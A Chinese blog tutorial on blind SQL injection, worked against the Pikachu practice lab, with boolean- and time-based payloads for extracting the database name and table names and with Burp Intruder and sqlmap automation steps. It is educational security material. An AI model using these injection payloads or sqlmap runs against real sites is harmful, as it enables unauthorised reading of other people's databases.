SQL注入之盲注

盲注:

没有显示的注入(页面没有输出点)

进入靶场,我们在输入框输入vince ' and 1=1 -- qwe(这个vince是用户名),页面有数据,我们输入vince ' and 1=2 -- qwe,页面没有数据 

 按照我们以前的流程就是判断字段数,我们输入vince ' ordrer by 1 -- qwe,有数据,我们输入vince ' ordrer by 2 -- qwe,有数据,我们输入vince ' ordrer by 3 -- qwe,没有数据。说明存在两个字段,接下来就是判断回显点,而我们输入vince ' union select 1,2 -- qwe,页面却没有任何数据

 页面没有任何输出点,这就是盲注的特殊点

盲注分为两种:

        1、布尔盲注(他会随着你语句的变化而变化,当然,只有有数据和没数据两种变化)

        2、时间盲注(它不会随着你语句的变化而变化,当然,可以根据响应的时间来判断)

布尔盲注:

没有显错位,那么我们是不是可以猜一下这个库名是什么呢,在之前我们在做显错注入的时候,我们知道了这个库名是pikachu,那么我们在靶场的查询框中输入 vince ' and database()='pikachu' -- q,如果返回的是有数据的页面,那么我们猜出来的库名就是对的,可以看到页面返回的是有数据

 但是这个库名我们事先知道,所以猜出来比较简单,如果我们不知道呢,这时候我们就可以爆破,但是七个字母爆破起来是比较难的,所以我们可以将它拆分一下,一个字母一个字母的猜解出来,这时候就需要用到切割函数了

substr()  截取字符串 用法:substr(字符串,从哪个地方开始截,截取的长度),在图中可以看到效果,如果我们将语句改为substr('abcd',1,3)的话,就会截取三位

 我们选择pikachu这个数据库,利用这个substr()函数就可以慢慢知道他的库名,在图中可以看到

 这样是我们知道了库名长度的情况下,但是如果我们不知道库名长度怎么办呢,这时候就需要用到length()这个函数

length()  返回字符串的长度

 知道了这些函数,那么我们在做盲注的时候,我们就可以通过这个函数来得到库名

第一步就是判断库名长度,我们在靶场输入框中输入vince ' and length(database())>5 -- qwe,页面返回有数据,那么我们再输入vince ' and length(database())>7 -- qwe,页面没有数据,那么我们就可以知道,数据库长度应该在大于五,小于七,我们输入vince ' and length(database())=6 -- qwe,页面无数据,那么我们再输入vince ' and length(database())=7 -- qwe,页面有数据,说明数据库长度为七。

下一步就是根据长度来猜解库名,我们输入vince ' and substr(database(),1,1)='a' -- qwe,页面没有数据,然后我们就开始一个字母一个字母的试,vince ' and substr(database(),1,1)='p' -- qwe,当我们试到p这个字母的时候,页面有数据,说明数据库的第一个子母为p,剩下的以此类推,就可以得到数据库的库名

这样比较麻烦,我们需要二十六个字母一个一个试,所以我们可以使用ASCII这个函数

ASCII() 把字符转化为数字,可以直接百度ASCII编码表,上面一一对应了字母和数字的对应关系,在下图中可以看到p这个字母对应的是112

 我们在靶场中输入vince ' and ascii(substr(database(),1,1))>100 -- qwe可以看到有数据,输入vince ' and ascii(substr(database(),1,1))>110-- qwe,有数据,输入vince ' and ascii(substr(database(),1,1))=112 -- qwe,页面有数据,这样我们就知道了数据库的第一个字母,以此类推,就可以知道库名了。

想知道表名的话,我们就可以仿照之前的做法来一步步得到表名,我们在输入框输入vince ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 -- qwe,页面有数据,输入vince ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 -- qwe,页面有数据,说明表名长度为8,按照之前所做的,我们开始判断表名第一个字母的ascii码值,我们输入vince ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- qwe,页面有数据,我们输入vince ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 -- qwe,页面无数据,我们输入vince ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 -- qwe页面有数据,这样一步一步用二分法来确定表名的第一个字母,最后得出vince ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 -- qwe,表名的第一个子母为h,以此类推,即可得到所有的表名

当然,这样一个一个地猜,十分的麻烦与繁琐,所以我们可以利用SQLmap一把梭或者利用Burp来爆破

burp爆破:

抓包,然后右键发送到Intruder模块,clear清除所有标记,然后选中要跑的参数,这里选择的话就是选择100这个ascii码值,点击add,然后点击payloads,选择Numbers,在下面设置为32到127,然后选择每次跑的间隔为1就好了,改变从哪个地方开始切的那个数值,然后就能跑出来表名了 

 SQLmap:

直接一把梭,python sqlmap.py -u 网址 --dbs,直接跑就完了,如果有特殊闭合的话,我们就帮他闭合,例如:python sqlmap.py -u 网址'),直接在网址后面加上你想要闭合的参数就好了。

 时间盲注:

与布尔盲注的区别就是,这个页面的回显,不管你输入什么,一直都是显示有数据,所以我们需要用到sleep()这个函数

sleep() 使程序或进程休眠,一般你查一个东西,他立马就会出来,而这个sleep会偷懒

 

 除了一个sleep()函数以外,我们还需要用到if()这个函数

if(条件,成立执行,不成立执行)  我们可以看到,1>2不成立,立马执行。而1<2成立,延时5秒

 知道了这两个函数,那么我们就可以做时间盲注了

if(length(database())>1,sleep(5),1),如果库名长度大于1,则延时五秒。如果不大于,则输出1(其实就是秒回)。结合前面所说的的SQL语句,就可以一步步知道库名以及表名了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值